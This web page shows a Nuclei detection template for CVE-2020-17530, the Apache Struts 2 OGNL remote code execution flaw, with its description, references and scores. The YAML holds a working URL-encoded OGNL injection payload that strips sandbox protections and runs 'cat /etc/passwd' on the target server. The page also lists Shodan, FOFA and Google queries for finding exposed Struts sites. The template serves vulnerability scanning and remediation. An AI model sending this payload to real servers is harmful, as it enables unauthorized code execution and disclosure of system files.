Skip to content
Nuclei Templates

Apache Struts 2.0.0-2.5.25 - Remote Code Execution

ID: CVE-2020-17530

Severity: critical

Author: pikpikcu

Tags: cve,cve2020,apache,rce,struts,kev,packetstorm

Description

Section titled “Description”

Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.

YAML Source

Section titled “YAML Source”
id: CVE-2020-17530


info:
  name: Apache Struts 2.0.0-2.5.25 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts.
  reference:
    - http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html
    - http://jvn.jp/en/jp/JVN43969166/index.html
    - https://cwiki.apache.org/confluence/display/WW/S2-061
    - https://security.netapp.com/advisory/ntap-20210115-0005/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17530
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-17530
    cwe-id: CWE-917
    epss-score: 0.97232
    epss-percentile: 0.99826
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2020,apache,rce,struts,kev,packetstorm


http:
  - method: GET
    path:
      - "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 490a0046304402207f6164e457a06e7fb8128a54fd3e8e1e2ff038a0a2184441b4c5c826956734ee02205fa36848c41682716ca6270984bc41ae5a564405e0614c035e64221aa0bad93d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-17530.yaml"

View on Github